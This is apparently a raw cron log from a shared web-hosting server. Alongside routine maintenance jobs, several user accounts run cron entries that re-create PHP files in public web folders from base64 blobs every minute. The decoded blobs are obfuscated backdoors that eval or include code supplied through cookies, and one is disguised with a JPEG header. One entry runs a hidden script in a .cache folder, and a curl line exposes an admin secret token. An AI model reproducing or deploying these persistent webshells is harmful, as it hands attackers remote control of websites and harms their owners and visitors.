Mar  1 23:02:02 medusa CROND[9074]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:02:02 medusa CROND[9078]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:02:02 medusa CROND[9079]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:02:02 medusa CROND[9090]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:02:02 medusa CROND[9091]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:02:02 medusa CROND[9086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:03:01 medusa CROND[13676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:03:01 medusa CROND[13678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:03:01 medusa CROND[13679]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:03:01 medusa CROND[13681]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:03:01 medusa CROND[13682]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:03:01 medusa CROND[13683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:03:01 medusa CROND[13684]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:03:01 medusa CROND[13685]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:03:01 medusa CROND[13686]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:03:01 medusa CROND[13689]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:03:01 medusa CROND[13691]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:03:01 medusa CROND[13693]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:04:01 medusa CROND[20950]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:04:02 medusa CROND[21196]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:04:02 medusa CROND[21197]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:04:02 medusa CROND[21198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:04:02 medusa CROND[21199]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:04:02 medusa CROND[21200]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:04:02 medusa CROND[21202]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:04:02 medusa CROND[21203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:04:02 medusa CROND[21204]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:04:02 medusa CROND[21206]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:04:02 medusa CROND[21208]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:04:02 medusa CROND[21212]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
